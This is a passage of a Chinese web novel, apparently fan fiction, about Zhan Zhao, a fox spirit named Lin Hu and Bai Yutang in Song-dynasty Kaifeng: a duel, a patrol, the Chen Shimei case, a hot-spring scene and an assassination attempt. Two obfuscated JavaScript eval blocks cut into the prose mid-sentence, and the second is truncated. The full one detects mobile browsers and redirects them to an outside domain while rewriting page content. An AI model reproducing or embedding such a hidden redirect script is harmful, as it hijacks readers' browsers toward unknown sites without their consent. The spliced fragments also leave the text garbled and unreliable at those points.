林狐缩在展昭的袖袋里,紧张得爪子都蜷了起来。她不懂什么剑法招式,只看见那个白衣人手里的剑闪着寒光,一下下往展昭身上招呼,急得喉咙里发出“呜呜”的低鸣。她的小脑袋在袖袋里蹭来蹭去,鼻尖闻到了海棠花的甜香,还有白玉堂身上那股淡淡的酒气——和那日在开封府院子里闻到的一模一样。 两人在海棠树下缠斗起来。白玉堂的身影飘忽不定,像片被风吹动的云,时而跃上假山,借着石缝遮掩身形,时而掠过花丛,剑尖从花瓣中穿出,带着几分诡谲;展昭则稳如磐石,巨阙剑舞得密不透风,守得滴水不漏,每一次挥剑都带着千钧之力,逼得白玉堂不得不回剑自保。 花瓣落在他们的发间、肩头、剑上,被剑气扫得漫天飞舞。粉白的海棠花与绯红的官袍、月白的锦袍交相辉映,剑风带动花雨,美得像一幅流动的画,却又藏着惊心动魄的张力。 “展小猫,就只会躲吗?”白玉堂的声音从假山后传来,带着戏谑。他故意放缓攻势,想引展昭主动出击。 展昭没有回答,只是凝神戒备。他能感觉到白玉堂的气息在周围游走,像头蓄势待发的猎豹。 突然,白玉堂从海棠树后飞身而出,借着下落的势头,剑尖直指展昭的咽喉。这一剑又快又急,带着凌厉的杀气,剑风甚至吹起了展昭额前的碎发。周围的人都屏住了呼吸,连皇上都微微前倾了身子。 展昭瞳孔微缩,猛地侧身,同时手腕翻转,巨阙剑以一个不可思议的角度挡住了这致命一击。两剑再次相交,力道之大让两人都震得后退了几步,脚下的青石板被踩出细微的裂纹。 就在这千钧一发之际,袖袋里的林 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展昭收回剑,用指尖轻轻碰了碰林狐的耳朵,示意她松口。林狐这才不情愿地松开嘴,跳到展昭怀里,得意地冲着白玉堂龇牙咧嘴,喉咙里发出威胁的低吼。(内心:敢跟我男人动手,下次还咬你!) 展昭低头看她,她正用舌头专注地舔着他手背上刚才比剑时不小心被划伤的小口子,湿漉漉的舌尖带着点暖意,一下下扫过伤口周围的皮肤。一片海棠花瓣恰好落在她的鼻尖上,粉白的花瓣衬着她灰扑扑的毛,竟有种说不出的可爱。 他突然笑了。那笑容极淡,像春风拂过冰封的湖面,瞬间融了半池春水,眼角的弧度都柔和了许多。连日来查案的疲惫、朝堂周旋的谨慎,仿佛都在这一刻烟消云散。 周围爆发出一阵热烈的掌声。皇上龙颜大悦:“好!好一个展昭!好一只灵狐!”他当即赏赐了展昭黄金百两,又封了白玉堂一个“锦衣亲军”的闲职,让他留在开封府听用,五鼠也各有封赏。 白玉堂谢了恩,揉了揉被林狐咬出浅浅齿印的手腕,走到展昭身边:“你这狐狸,倒是比你主人还护短。” 林狐把头埋进展昭怀里,懒得理他,只顾着用尾巴卷住展昭的手臂,像在宣示主权。 展昭抱着林狐,看着满院的海棠花,心里忽然觉得很安宁。剑刃上还沾着几片海棠花瓣,红得像血,软得像情,风一吹,就往人心里钻。他低头闻了闻怀里狐狸身上的味道,混着海棠花香和淡淡的皂角香,竟是说不出的安心。 夕阳西下,金色的余晖洒满了御花园。展昭抱着林狐,和白玉堂并肩走着,身后跟着包拯和五鼠。林狐在展昭怀里打了个哈欠,把脸埋进他的衣襟,很快就睡着了。梦里,她又梦见了满院子的烧鸡,还有那个总爱跟展昭比剑的白衣人——这次,她可没让他占到半点便宜。 14. 开封府的晨与暮 次日,开封府的晨雾还没散尽时,展昭已经换好绯红官袍,提着剑站在府衙门口了。青石台阶上凝着层薄霜,踩上去咯吱作响,像谁在暗处嚼着冻硬的糖。林狐从他袖袋里探出头,鼻尖被冷风吹得抖了抖,又飞快缩回去,只留条毛茸茸的尾巴尖露在外面,随着他的脚步轻轻扫着袖口。 “今日巡南城,那边市井杂,你可得藏好了。”展昭低头对着袖袋轻声说,指尖碰了碰那截不安分的尾巴。林狐在里面“嗷呜”应了声,尾巴却缠上他的手指晃了晃,带着点撒娇的黏糊劲儿。 南城的早市最是热闹。卖胡辣汤的摊子支起了蓝布棚,蒸腾的热气裹着胡椒香飘出半条街;挑着担子的货郎摇着拨浪鼓,竹筐里的糖人在晨光下闪着琥珀色的光;还有几个孩童追着踢毽子,鸡毛毽子飞起来时,惊得檐下的鸽子扑棱棱掠过青瓦。 展昭走在人群里,官袍的绯红色像团流动的火,既醒目又让人安心。摊贩们见了他,都笑着打招呼:“展护卫早啊!”他也颔首回应,目光却不松懈,扫过每个角落——街角那个缩着脖子的乞丐,会不会是乔装的细作?药铺门口那个频频回头的货郎,眼神里有没有藏着鬼祟? 袖袋里的林狐却没他这么紧张。她把鼻子凑到袋口,贪婪地嗅着各种气味:刚出炉的油饼香、新酿的米酒气、还有胭脂铺飘来的甜香……忽然,她闻到股熟悉的甜腻——是桂花糕! “嗷呜!”林狐在袖袋里挣了挣,爪子扒着布面往外拱。她记得这味道,上次白玉堂丢给她的那块,甜得能把舌头化掉。 展昭被她拱得袖口发沉,低头就看见袋口露出半只豆豆眼,正直勾勾盯着不远处的糕点摊。他无奈地摇摇头,走到摊前买了块桂花糕,捏碎了塞进袖袋:“慢点吃,别噎着。” 林狐立刻埋头苦吃,尾巴尖得意地翘起来,扫得他手腕发痒。展昭看着涌动的人潮,忽然觉得这样的日常很好——没有刀光剑影,没有阴谋诡计,只有烟火气和怀里的一点暖。 ***转到午后,日头渐渐烈了。展昭巡到城南的护城河边,正靠着柳树歇脚,就听见身后传来声带着戏谑的笑:“展护卫倒是清闲,不像我们,还得应付那些官老爷的盘问。” 展昭回头,见白玉堂穿着身月白长衫,手里把玩着枚飞皇石,正斜倚在不远处的桥栏上。阳光透过他的发梢,在青石地上投下细碎的光斑,倒比寻常江湖人多了几分俊朗。 “白兄弟不是在府里整理卷宗?”展昭挑眉。早上离府时,包拯还让五鼠核对襄阳王余党的名册。 “那点活计,三哥一个人就够了。”白玉堂耸耸肩,踱步过来,目光落在展昭鼓囊囊的袖袋上,“藏着什么宝贝?莫不是偷了哪家姑娘的香囊?” 话音刚落,袖袋里突然探出颗毛茸茸的脑袋,冲着白玉堂龇牙咧嘴——林狐刚吃完桂花糕,正舔爪子呢,听见这声音就来气。 “哟,是你这小畜生。”白玉堂嗤笑一声,弯腰想去逗她,“怎么,展昭舍不得给你吃的,饿瘦了?” 林狐被他说得炸了毛,从袖袋里蹿出来,对着他的靴筒就想下嘴。展昭眼疾手快,一把将她捞进怀里:“林狐!” “看来是吃胖了,胆子也肥了。”白玉堂看着她气鼓鼓的样子,笑得更欢了,“前日在御花园没咬够?要不要再试试?” “白兄弟莫要逗她。”展昭按住怀里乱扭的林狐,指尖摸到她后背的绒毛,被太阳晒得暖暖的。 白玉堂却不放过他,抛了抛手里的飞皇石:“说起来,那日御花园若不是这狐狸捣乱,你未必能赢我。” “哦?”展昭挑眉,“白兄弟想再比过?” “随时奉陪。”白玉堂站直身子,眼里闪过好胜的光,“不过今日嘛……”他忽然从袖中摸出个油纸包,打开来是几块杏仁酥,“刚从西街那家铺子买的,据说比你怀里这小畜生吃的桂花糕强。” 林狐本来还在生气,一闻到杏仁酥的香味,立刻忘了龇牙,鼻子凑过去嗅了嗅,豆豆眼都亮了。 “没骨气的东西。”白玉堂笑着把一块杏仁酥丢过去。林狐精准地用嘴接住,叼着就往展昭怀里缩,一边吃一边警惕地瞪着他,生怕他抢似的。 展昭看着怀里这副护食的模样,无奈又好笑。他抬头看向白玉堂,见他望着河面,阳光照在他侧脸,竟少了几分傲气,多了点平和。 “其实……”展昭顿了顿,“那日多谢白兄弟配合,引那挑唆的武者现身。”若不是五鼠在襄阳盯得紧,开封府未必能这么快揪出幕后之人。 白玉堂转头看他,嘴角勾了勾:“我可不是为了帮你,是看不惯那些鼠辈的伎俩。”话虽如此,语气却软了些。 河风吹过,带着水汽的凉。柳树叶沙沙作响,落在展昭的官袍上,又被林狐的尾巴扫落在地。林狐吃完杏仁酥,正用舌头舔展昭的手指,把上面的碎屑舔得干干净净。 “你倒是养了个好帮手。”白玉堂看着这一幕,轻哼一声,“查案时能闻气味,打架时能咬人,比某些只会摆架子的护卫强多了。” “白兄弟过奖。”展昭抱着林狐站起身,“时候不早,该回府了。” 白玉堂跟着起身,忽然想起什么,从怀里摸出个小小的竹哨递给展昭:“这是蒋平做的,能吹狐狸听得懂的调子。下次她再乱跑,你就吹这个。” 展昭接过竹哨,见上面刻着细密的花纹,倒像是用心做的。他刚想说谢,就见林狐对着竹哨嗅了嗅,突然伸出爪子拍掉在地,还冲白玉堂龇牙——她才不要听这小白脸的指挥! 白玉堂被她逗笑了:“看来是真不待见我。” 展昭捡起竹哨收好,抱着林狐往府衙走。阳光把他们的影子拉得很长,林狐的尾巴从他臂弯里露出来,随着脚步轻轻晃着,扫过地上的光斑,像在逗弄那些跳动的金点。 ***傍晚回府时,夕阳把开封府的朱漆大门染成了暖红色。展昭刚走进院子,就见公孙策站在药炉前捣药,药香混着暮色漫开来。 “回来了?”公孙策抬头笑了笑,“方才白壮士来说,南城的布庄老板形迹可疑,像是襄阳王旧部。” 展昭点头:“我明日再去查探。”他低头看了看怀里的林狐,她已经睡着了,嘴角还沾着点杏仁酥的碎屑,尾巴缠在他的手腕上,像条毛茸茸的镯子。 晚风吹过,廊下的灯笼晃了晃,把光投在他们身上。展昭忽然觉得,不管未来还有多少风雨,只要身边有这些人——爱逗嘴的白玉堂,沉稳的公孙策,还有怀里这只护食的狐狸,就没什么好怕的。 他轻轻抚摸着林狐的背,感受着她均匀的呼吸。远处传来打更人的梆子声,一下,又一下,敲在暮色里,敲得人心安。 …………………… 三更的梆子声刚过,开封府的后院就浸在了墨色里。只有展昭卧房的窗棂,还漏出点昏黄的灯影,像块被遗忘的碎金。 林狐是被渴醒的。她趴在软榻上,鼻尖碰着陶碗的边缘,却怎么也够不着——方才翻身时,碗被蹭到了榻脚。她迷迷糊糊地想伸爪子去勾,却猛地顿住了。 指尖触到的不是毛茸茸的爪垫,而是温热的皮肤。 林狐瞬间清醒,低头就看见自己光裸的手臂,月光从窗缝溜进来,照得皮肤泛着瓷白的光。她又惊又慌,猛地坐起身,才发现身上的狐毛早已褪尽,连尾巴都乖乖收在了皮肉里。 “又变了……”她小声嘀咕,声音带着点刚化形的沙哑。上次在衣柜里的窘迫还没忘,耳尖一热,慌忙往身上抓——却抓了个空。软榻上只有展昭白天盖过的薄被,被她蜷得皱巴巴的。 她抱着被子往身上裹,刚系好带子,就听见外间传来轻响——是展昭回来了。 白日里他去追查襄阳王余党,直到入夜才动身回府。林狐听见他推门的声音,心一下子提到了嗓子眼,像揣了只乱撞的兔子。她想躲回软榻假装没醒,可身上这副模样…… 慌乱间,她看见屏风后的衣架上挂着件绯红官袍,是展昭早上换下的,还带着淡淡的皂角香。她想也没想,抓过官袍往身上套,袍角拖到地上,像拖了片晚霞。 门“吱呀”一声被推开,展昭带着身夜露走进来,刚要抬手点灯,就瞥见屏风后露出半片衣摆——是他的官袍。 “林狐?”他的声音在寂静里格外清晰。 屏风后的人影猛地一颤,像被风吹动的花枝。林狐攥着袍角,指节都泛了白,脑子里乱糟糟的——要不要应声?会不会又被他撞见?上次的尾巴…… 正想着,展昭已经绕过屏风。他穿着身玄色常服,墨发用玉簪束着,几缕碎发垂在额前,被廊外的月光照得泛着银。看见她 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林狐捧着杯子喝水,指尖不小心碰到他的指腹,像被烫到似的缩回手。水洒在袍角,晕开一小片深色,她更慌了,结结巴巴地说:“对、对不起……” “无妨。”展昭的声音有点哑,他转身想去拿布巾,却没留神,被地上的袍角绊了下。林狐眼疾手快,伸手去扶他,掌心恰好按在他的胸口——隔着薄薄的常服,能摸到他温热的皮肤和沉稳的心跳。 两人都僵住了。 空气里突然安静得能听见灯芯爆火星的声儿。林狐的脸“腾”地红透了,从脸颊一直烧到耳根,慌忙想收回手,却被他轻轻按住了手腕。他的掌心很烫,带着常年握剑的薄茧,蹭得她皮肤发麻。 “别动。”展昭的声音压得很低,像从喉咙深处滚出来的,带着点不易察觉的沙哑。他看着她近在咫尺的脸,睫毛很长,被灯光照得投下淡淡的阴影,鼻尖沾着点水汽,像沾了晨露的花瓣。 林狐的心跳得像要炸开,眼睛却不由自主地瞟向他的喉结——刚才他说话时,那里轻轻动了下,性感得让人发慌。她突然想起上次在衣柜里,他背对着她时,月光淌过他脊背的样子,像条沉默的河。 就在这时,她身后的尾巴尖突然不安分地冒了出来,毛茸茸的,还带着点官袍的褶皱。尾巴尖轻轻扫过展昭的手背,像团软乎乎的火。 展昭的呼吸猛地一滞,按住她手腕的力道松了松。他看着那截灰扑扑的尾巴,又抬头看她惊慌失措的脸,突然低笑出声。 “笑什么!”林狐又羞又气,想把尾巴收回去,偏偏越急越不听使唤,尾巴尖反倒缠上了他的手腕。 “没什么。”展昭的笑意染在眼底,他抬手,指尖轻轻碰了碰她的尾巴尖——软得像团云,“只是觉得……你比白日里更闹腾了。” 他的指尖带着点凉意,触得林狐一颤,尾巴尖下意识地缩了缩,却把他的手腕缠得更紧了。官袍的下摆垂下来,遮住了交缠的手和尾巴,只露出两人微微发红的耳尖。 “放开……”林狐的声音细得像丝线,眼睛却瞪着他,带着点狐狸的狡黠。 展昭看着她这副口是心非的样子,忽然觉得喉咙发紧。他松开她的手腕,转而捏住那截不安分的尾巴,指尖顺着绒毛往下滑:“先把这个收起来。” 尾巴被捏住,林狐顿时没了气势,像只被抓住软肋的猫,乖乖地把尾巴收了回去,只是袍角还微微鼓着,藏着点没褪尽的弧度。 “时辰不早了,睡吧。”展昭松开手,转身往书桌走,背影在灯光下显得格外挺直。他拿起卷宗,却没看进去,满脑子都是刚才她掌心的温度,和尾巴扫过手背的痒。 林狐看着他的背影,忽然小声说:“你的袍子……比我的软榻暖和。” 展昭翻卷宗的手顿了顿,没回头,只闷闷地应了声:“嗯。” 她裹着他的官袍躺回软榻,鼻尖凑到领口,深吸了口气——皂角香里,好像多了点别的味道,像他身上的暖意,又像自己擂鼓的心跳。 窗外的月光不知何时移了位,照在书桌后的背影上,把他的影子投在墙上,又漫到软榻边,像条温柔的河,悄悄漫过了两人之间的距离。林狐盯着那影子看了会儿,忽然觉得,这样的夜晚,也没那么难熬。 至少,有他的味道陪着。 15. 情字难书 开封府的晨雾裹着寒气,往人骨缝里钻。林狐缩在展昭袖袋里,打了个哆嗦——不是冷的,是听见了外面的哭声。那哭声又尖又涩,像指甲刮过生锈的铁板,让她瞬间想起了某部看过的老戏。 “是秦香莲。”展昭的声音从头顶传来,带着点不易察觉的沉郁。他正整理着官袍,准备随包拯升堂,指尖碰到袖袋里乱动的狐狸,“安分些,今日的案子……不好看。” 林狐却没听他的。她用爪子扒着布面往外拱,鼻尖都快挤出袋口了。没错,就是秦香莲!那个被陈世美抛弃的女人,那个带着一双儿女千里寻夫的苦主……她当年陪外婆看这出戏时,气得把手里的瓜子壳都捏碎了。 “嗷呜!”(陈世美那个渣男!)林狐在袖袋里气得乱蹬,差点把展昭的袖口咬破。她怎么忘了,北宋,开封府,包拯……可不就该遇上这个案子吗? 展昭被她蹬得袖口发沉,低头就看见袋口露出的半只眼睛,瞪得溜圆,像是要冒出火来。他挑了挑眉:“你认识她?” 林狐猛地顿住。对啊,她不能说。总不能告诉展昭,她来自几百年后,早就知道这故事的结局?她悻悻地缩回爪子,假装只是被哭声吵到,尾巴却还在愤愤地扫着他的手腕。 ***公堂上的情景,比戏文里演的更扎心。秦香莲跪在冰凉的青砖上,身上的粗布衣裳打了好几个补丁,怀里的男孩冻得直抽噎,手里还攥着半块干硬的窝头。她呈上那半块绣莲帕子时,指节因为用力而发白:“求包大人为民妇做主,那陈世美……他认得出这帕子的!” 林狐趴在展昭脚边的阴影里,竖着耳朵听。当陈世美的家仆趾高气扬地说“驸马爷自幼孤苦,从未婚配”时,她差点没忍住冲上去咬那人的腿。装!接着装!等会儿包拯就该用龙头铡伺候你家主子了! “这狐狸怎么了?”旁边的衙役低声问展昭。只见那灰扑扑的小家伙弓着背,喉咙里发出“呜呜”的低吼,尾巴绷得像根棍子。 展昭没说话,只是悄悄用脚尖碰了碰林狐的尾巴。他知道这狐狸通人性,许是看不得妇人受委屈。可他没察觉,林狐的爪子正死死抠着砖缝——她想起戏文里秦香莲被陈世美派去的人追杀,想起那对可怜的孩子差点丧命,心里就像被什么东西堵住了,又闷又疼。 轮到传召陈世美时,那家伙果然托病不来。包拯刚要拍惊堂木,林狐突然蹿了出去,叼起秦香莲脚边的帕子,往府衙外跑。 “林狐!”展昭低喝一声,怕她惹祸。 可林狐跑得飞快,像道灰色的闪电,竟直接冲出了府衙,往驸马府的方向跑。她记得戏文里说,陈世美最忌惮的就是这半块帕子,只要让他亲眼看见,看他还怎么抵赖! 展昭只好请命去追,心里又气又奇——这狐狸今日怎会如此莽撞? ***追到驸马府后街的柳树下,才见林狐蹲在墙根,对着里面龇牙。墙内传来丝竹声,夹杂着男女的调笑,和公堂上秦香莲的哭声比起来,像两把刀子,割得人耳朵疼。 “回来。”展昭伸手去抱她,却被她躲开了。林狐叼着帕子,往他手心塞,豆豆眼里满是急切,喉咙里发出“嗷呜嗷呜”的声儿,像是在说“快去拿给他看”。 展昭看着那半块帕子,突然明白了什么。这狐狸不是莽撞,是想帮秦香莲。他叹了口气,摸摸她的头:“有些事,不是一块帕子能解决的。” 正说着,墙内传来陈世美的声音,温和得像裹了蜜:“公主放心,不过是个疯妇胡言乱语,本驸马怎会认得?” 林狐猛地炸了毛,转身就想往墙上蹿。展昭一把按住她,指尖触到她滚烫的耳朵——这狐狸,是真的气极了。他看着紧闭的朱漆大门,忽然低声道:“你想让他看看这帕子?” 林狐立刻点头,尾巴都快摇成了拨浪鼓。 当晚,展昭提着食盒去了驸马府。说是包拯感念驸马辛劳,特命人送些点心。陈世美设宴款待时,展昭“不慎”将食盒里的糕点打翻,其中一块恰好落在陈世美脚边——而那半块帕子,正藏在糕点下面。 陈世美看到帕子的瞬间,脸色“唰”地白了,手里的酒杯“当啷”落地。展昭假装没看见,只弯腰去捡:“驸马爷怎么了?这块糕点沾了灰,可惜了。” 林狐躲在展昭袖袋里,把这一切看得清清楚楚。她心里冷笑——露馅了吧?渣男! ***回府的路上,月光把两人的影子拉得很长。林狐从袖袋里探出头,看见展昭的侧脸在月光下格外沉静,忽然觉得,戏文里没说过展昭也在这个案子里。原来那些铁面无私的背后,还有这样不动声色的细致。 “你好像……早就知道会这样。”展昭突然开口,低头看着怀里的狐狸。今日她的反应太奇怪,像是预知了一切。 林狐的心猛地一跳,赶紧用脑袋蹭他的下巴,装出一副懵懂的样子。总不能说,我是看剧本的? 展昭没再追问,只是轻轻叹了口气:“罢了,你懂的道理,或许比我还多。”他想起秦香莲的眼泪,想起陈世美的惊慌,又看了看怀里这只满眼狡黠的狐狸,忽然觉得,这世间的事,真真假假,倒不如狐狸的眼睛看得明白。 府衙的灯笼在远处亮着,像颗温暖的星。林狐窝在展昭怀里,听着他沉稳的心跳,忽然觉得这趟穿越没白来。至少,她能亲眼看着恶人受惩,看着那些戏文里的苦难,有个人在认真地托底。 至于陈世美?等着吧,龙头铡已经擦亮了。林狐舔了舔爪子,眼里闪过一丝属于现代人的、明明白白的恨与爱。 ……………… 开封府西去三十里,有处温泉庄子。包拯见展昭连日追查陈世美案,眼底积了青黑,便放了他三日假,让他去庄子里休养。展昭本想推辞,却被公孙策推搡着出了府——“带着那狐狸去,泡几日汤,保管你们俩都松快。” 林狐趴在展昭肩头,听着“温泉”二字,耳朵“唰”地竖了起来。她从展昭偶尔翻看的杂记里见过这名字,说是地底涌出来的热水,能祛寒解乏。此刻闻着空气中隐约的湿暖气息,尾巴尖忍不住在他颈间扫了扫,带着点雀跃的痒。 庄子不大,却收拾得雅致。后院的汤池藏在竹林里,青石砌的池壁上爬着青苔,泉眼汩汩冒着热气,混着竹叶的清香,漫得满院都是暖雾。展昭刚解开官袍,就见林狐“嗖”地蹿进了竹林,等他换好素色浴袍出来,那狐狸竟已化了人形。 她大概是急着泡汤,没顾上找衣服,就那么光着脚站在池边,手里还攥着片刚摘的竹叶。雾气缠在她肩头,像层薄纱,把皮肤衬得比雪还白。肩上未褪尽的绒毛在暖光里泛着银,尾巴尖垂在身后,时不时扫过青石板,带起细碎的水声。 “林狐!”展昭猛地背过身,耳尖红得能滴出血来,“谁让你……如此孟浪!” “怕什么,这里又没人。”林狐的声音带着点水汽的黏糊,她踩进汤池,舒服得喟叹一声,“哇,好暖和!比烤火舒服多了!” 展昭僵在原地,听着身后的水声,脑子里乱得像团麻。他知道林狐是狐妖,不通人间礼法,可……可她此刻是人形,是女儿身。他深吸口气,尽量让声音听起来平静:“把那边的外袍披上。” “披什么呀,水里热着呢。”林狐在池里扑腾了两下,水花溅到他的衣摆上,“你也快来呀,水里有小鱼咬脚,痒痒的!” 展昭闭了闭眼,转身时目光死死盯着竹林顶端。他缓缓走进汤池,热水漫过腰际时,才松了口气——至少看不见不该看的了。可鼻尖萦绕的,除了竹叶香,还有她身上特有的甜,像刚酿好的桂花蜜,混着水汽往人心里钻。 林狐游到他身边,仰头看他。雾气打湿了他的发,几缕贴在额前,把平日里的端方冲淡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268107|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,添了几分柔和。她忽然想起刚穿来时,在枯井里第一次见他,他举着火把的样子,也像此刻这般,让人觉得安心。 “展昭,”她戳了戳他的胳膊,“陈世美会不会不认账?我看他那样子,坏得很。” 展昭挑眉:“你倒看得明白。” “当然!”林狐得意地晃了晃尾巴,水花溅在他的下颌,“坏人脸上都写着呢。就像上次那个挑拨是非的武者,一看就不是好东西。”她顿了顿,往他身边凑了凑,“不过有你在,他肯定跑不了。” 展昭看着她亮晶晶的眼睛,像盛着汤池里的星光。他忽然沉默了。他何尝不知道自己该做什么?查案,缉凶,守着开封府的清明。可人心不是铁打的,看着眼前的人,看着她毫无防备的信任,心里翻涌的情意,像池底的泉眼,怎么堵也堵不住。 “林狐,”他开口时,声音哑得厉害,“你……可知人妖殊途?” 林狐愣了愣,脸上的笑意淡了些:“知道啊。可你不是不嫌弃我吗?”她尾尖扫过他的手背,带着点讨好的意味,“我不害人,还帮你查案呢。” 温热的呼吸喷在他颈间,像团火。展昭能看见她睫毛上的水珠,能数清她耳后柔软的绒毛,能闻到她身上比蜜还甜的气息。他的手在水下攥紧,指甲几乎嵌进肉里——再往前一寸,就能抱住她了。 可他终究是展昭。是那个把“礼法”二字刻在骨头上的展昭。 他猛地后退半步,撞到池壁,发出沉闷的声响。水花溅在林狐脸上,她眨了眨眼,眼里的光慢慢暗了下去。 “水太烫了,我先上去。”展昭几乎是逃也似的爬出汤池,抓起浴袍裹住自己时,手指都在抖。 林狐坐在池里,看着他慌乱的背影,尾巴尖蔫蔫地垂进水里。她不懂。他明明会给她梳毛,会把最暖的地方让给她,会在她闯祸时替她担着,可为什么此刻,他眼里的疏离像汤池里的冷水,浇得她心里发寒。 “展昭,”她对着他的背影喊,声音带着点委屈,“你是不是……后悔带我来了?” 展昭的脚步顿住了。他背对着她,肩膀绷得像拉满的弓。过了很久,才听见他低低的声音,像从牙缝里挤出来的:“不是。” “那是为什么?”林狐追问,眼泪在眼眶里打转,“你明明……” “我是朝廷命官。”他打断她,声音里带着种近乎残忍的清醒,“身负皇恩,守着开封府的规矩。而你……”他没说下去,可彼此都懂。一道无形的线,横在人妖之间,横在礼法之内,冷硬得硌人。 林狐突然笑了,笑着笑着就有泪珠掉下来,砸在水面上:“展昭,你真笨。” 展昭没回头,只是攥紧了浴袍的带子,指节泛白。他知道自己笨。笨到明知道该保持距离,却偏要把她留在身边;笨到看她一眼就会心跳失序;笨到此刻明明心如刀绞,却还要装作无动于衷。 他走出竹林时,听见身后的水声停了。大概是她也上岸了。他不敢回头,只是快步走回客房,关上门的瞬间,才靠着门板滑坐在地。 掌心的温度,鼻尖的甜香,还有她眼里的泪……像汤池里的热水,把他烫得无处可逃。 客房的窗没关,飘进片竹叶,落在他的膝头。展昭捡起来,指尖摩挲着叶尖的锯齿,忽然低低地说了句,轻得只有自己能听见: “可我心悦你。” 窗外的雾气更浓了,把月光都染成了奶白色。汤池里,林狐抱着膝盖坐在水里,尾巴紧紧缠在腰上。她没听清那句低语,可看着他紧绷的背影,心里却像被什么堵住了。 她不懂那些弯弯绕绕的规矩,只知道喜欢就是喜欢。就像喜欢烧鸡,喜欢暖炕,喜欢……他身上的皂角香。 水汽漫过她的肩头,把眼泪也藏了起来。竹林深处,有夜鸟低鸣,像谁在这暖雾里,悄悄叹了口气。 16. 铡美案终 陈世美伏法那日,铡刀落下的脆响震得开封府的檐角落了层灰。林狐缩在展昭袖袋里,把脸埋得严严实实——她听不得秦香莲那声憋了太久的哭,更不敢看展昭握剑的手,那手上似乎还沾着血的凉意。 回府的路上,卖花姑娘的篮子里飘来晚菊的香,混着街边议论的声浪:“听说了吗?那陈世美连妻儿都杀,真是丧尽天良!”“还是包大人铁面,展护卫神勇,不然哪有公道可言?” 林狐在袖袋里蹭了蹭展昭的手腕。她知道这些话里的“神勇”有多沉,沉得能压弯他挺直的脊梁。自打温泉庄子那夜后,他看她的眼神总像蒙着层雾,亲近里藏着躲闪,关切中裹着犹豫。她不懂那些弯弯绕绕,只知道他不开心,像被什么东西捆住了。 ***三更梆子刚敲过,府衙突然炸开一阵喊杀。“为驸马爷报仇!”——是陈世美漏网的党羽,蒙着脸举着刀,红着眼往包拯的卧房冲。 展昭提着巨阙剑冲出房门时,正撞见三个蒙面人踹开林狐暂歇的偏厅。他心一紧,剑未出鞘先扬手甩出三枚铜钱镖,却见一道白影比镖更快,从屋里扑了出来。 是林狐。 她竟是化了人形,赤着脚,手里攥着展昭落在桌上的匕首,像只炸毛的幼兽,死死挡在门前。月光从她身后涌进来,把她单薄的影子投在地上,纤长得让人心惊。 “不许碰他的东西!”她的声音还带着刚醒的哑,却咬得极狠。 为首的蒙面人狞笑一声,刀风带着腥气劈向她面门。展昭目眦欲裂,嘶吼着“小心”冲过去,却终究慢了半步——眼看刀锋就要及颈,林狐竟猛地转身,用后背硬生生迎了上去。 “噗嗤”一声,皮肉被划开的声音在夜里格外刺耳。 “林狐!”展昭的声音劈了叉,剑随心动,巨阙剑嗡鸣着划破夜空,瞬间挑飞那人的刀,剑柄反手砸在他面门。剩下两人见状想逃,却被闻声赶来的衙役围了个结实。 展昭扑过去时,林狐已经软倒在地。他抱住她,才发现她后背的血正汩汩往外冒,染红了他的官袍,像泼了盆滚烫的朱砂。“傻东西……谁让你逞能!”他吼着,声音却抖得不成调,指尖按在伤口上,血顺着指缝往下淌。 “我……我怕他们偷你东西……”林狐疼得脸发白,却还扯着嘴角笑,手胡乱抓着他的衣襟,“你别生气……” ***公孙策提着药箱赶来时,腿都在打颤。偏厅里灯火通明,林狐趴在床榻上,后背的伤口狰狞得像道红蛇,血把垫着的白布浸得透湿。她竟是强撑着人形,咬着牙不肯哼一声,冷汗把额前的碎发都黏在了脸上。 “忍着点。”公孙策的声音带着颤,往伤口上撒金疮药时,林狐的背猛地一抽,指甲深深抠进床板。 展昭站在一旁,看着她泛白的唇,看着她攥紧床单的手,心脏像被巨阙剑反复穿刺。他明明该守着“人妖殊途”的界限,明明该记得自己是朝廷命官,可此刻脑子里只有一个念头——若她有半分差池,他便掀了这开封府,剐了那些余孽,哪怕身败名裂,也在所不惜。 “先生,她怎么样?”他的声音哑得像砂纸磨过木头。 “万幸没伤着骨头,”公孙策擦了擦汗,眼神复杂地看了眼林狐,“只是失血太多,得好生将养。”他顿了顿,目光落在林狐耳后未褪尽的绒毛上,终究没说什么,只是低声道,“我去煎药,你守着她。” 展昭握住林狐冰凉的手,指尖被她无意识地攥住。她疼得迷迷糊糊,嘴里却在念叨:“展昭……别躲我……” 他喉间一哽,俯身用额头抵着她的手背,滚烫的泪砸在她手背上:“不躲了……再也不躲了……” ***天快亮时,林狐的高热突然退了。展昭正给她擦汗,却见她身子轻轻一颤,原本攥着他的手慢慢缩成毛茸茸的爪垫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林狐醒来时,窗外的日头正暖得恰到好处。她动了动耳朵,听见展昭的脚步声从廊下传来,带着种让人安心的规律。尾巴尖刚想摇一摇,后背突然传来一阵尖锐的疼,疼得她“嗷呜”一声,瞬间缩回了毛茸茸的一团。 “醒了?”展昭推门进来,手里端着个黑漆托盘,盘里放着只白瓷碗,药味顺着热气飘过来,苦得林狐直皱鼻子。他把托盘放在床头小几上,俯身摸了摸她的头,指尖避开她后背的伤处,动作轻得像怕碰碎了她,“昨晚又发烧了,公孙先生说今日的药得加两味药材。” 林狐把头往他怀里钻,鼻尖蹭着他的衣襟——那里有皂角香,能盖过药味。她知道自己现在是狐狸模样,毛茸茸的,最能博同情。果然,展昭的眼神软了下来,指尖顺着她的脊背轻轻捋着,像是在给她顺气。 “乖,喝了药才好得快。”他拿起小几上的白瓷勺,舀了点药汁,放在唇边吹了吹,才递到她嘴边。 